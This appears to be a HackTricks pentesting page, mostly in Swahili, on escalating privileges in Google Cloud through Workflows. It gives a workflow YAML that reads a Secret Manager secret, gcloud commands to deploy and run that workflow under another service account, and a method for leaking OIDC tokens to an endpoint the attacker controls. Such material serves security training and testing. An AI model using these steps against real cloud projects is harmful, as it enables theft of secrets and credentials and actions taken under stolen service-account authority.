GCP - Workflows Privesc

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Workflows

Basic Information:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

Kama ninavyojua siwezi kupata shell yenye ufikiaji wa metadata endpoint inayoshikilia akreditif za SA za SA iliyoshambuliwa kwa Workflow. Hata hivyo, inawezekana kutumia vibaya ruhusa za SA kwa kuongeza vitendo vya kutekeleza ndani ya Workflow.

Inawezekana kupata nyaraka za waunganishi. Kwa mfano, hii ni ukurasa wa waunganishi wa Secretmanager. Katika upande wa bar, inawezekana kupata waunganishi wengine kadhaa.

Na hapa unaweza kupata mfano wa waunganishi ambao unachapisha siri:

main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: '${str_secret}'

Sasisha kutoka CLI:

gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1

Ikiwa unapata kosa kama ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist, ngoja dakika moja na ujaribu tena.

Ikiwa huna ufikiaji wa wavuti, inawezekana kuanzisha na kuona utekelezaji wa Workflow kwa:

# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

Unaweza pia kuangalia matokeo ya utekelezaji wa awali kutafuta taarifa nyeti

Kumbuka kwamba hata kama unapata kosa kama PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... kwa sababu huna ruhusa hiyo, workflow imeundwa.

Kuacha OIDC token (na OAuth?)

Kulingana na nyaraka inawezekana kutumia hatua za workflow ambazo zitatumia ombi la HTTP na token ya OAuth au OIDC. Hata hivyo, kama ilivyo katika kesi ya Cloud Scheduler, ombi la HTTP lenye token ya Oauth lazima liwe kwa mwenyeji .googleapis.com.

Kwa hivyo, ni uwezekano kuacha token ya OIDC kwa kuashiria mwisho wa HTTP unaodhibitiwa na mtumiaji lakini kuacha token ya OAuth unahitaji kupita kwa ulinzi huo. Hata hivyo, bado unaweza kuwasiliana na api yoyote ya GCP ili kutekeleza vitendo kwa niaba ya SA ukitumia ama viunganishi au maombi ya HTTP yenye token ya OAuth.

Oauth

- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE

OIDC

- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE

workflows.workflows.update ...

Kwa ruhusa hii badala ya workflows.workflows.create inawezekana kuboresha workflow iliyopo tayari na kufanya mashambulizi sawa.

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

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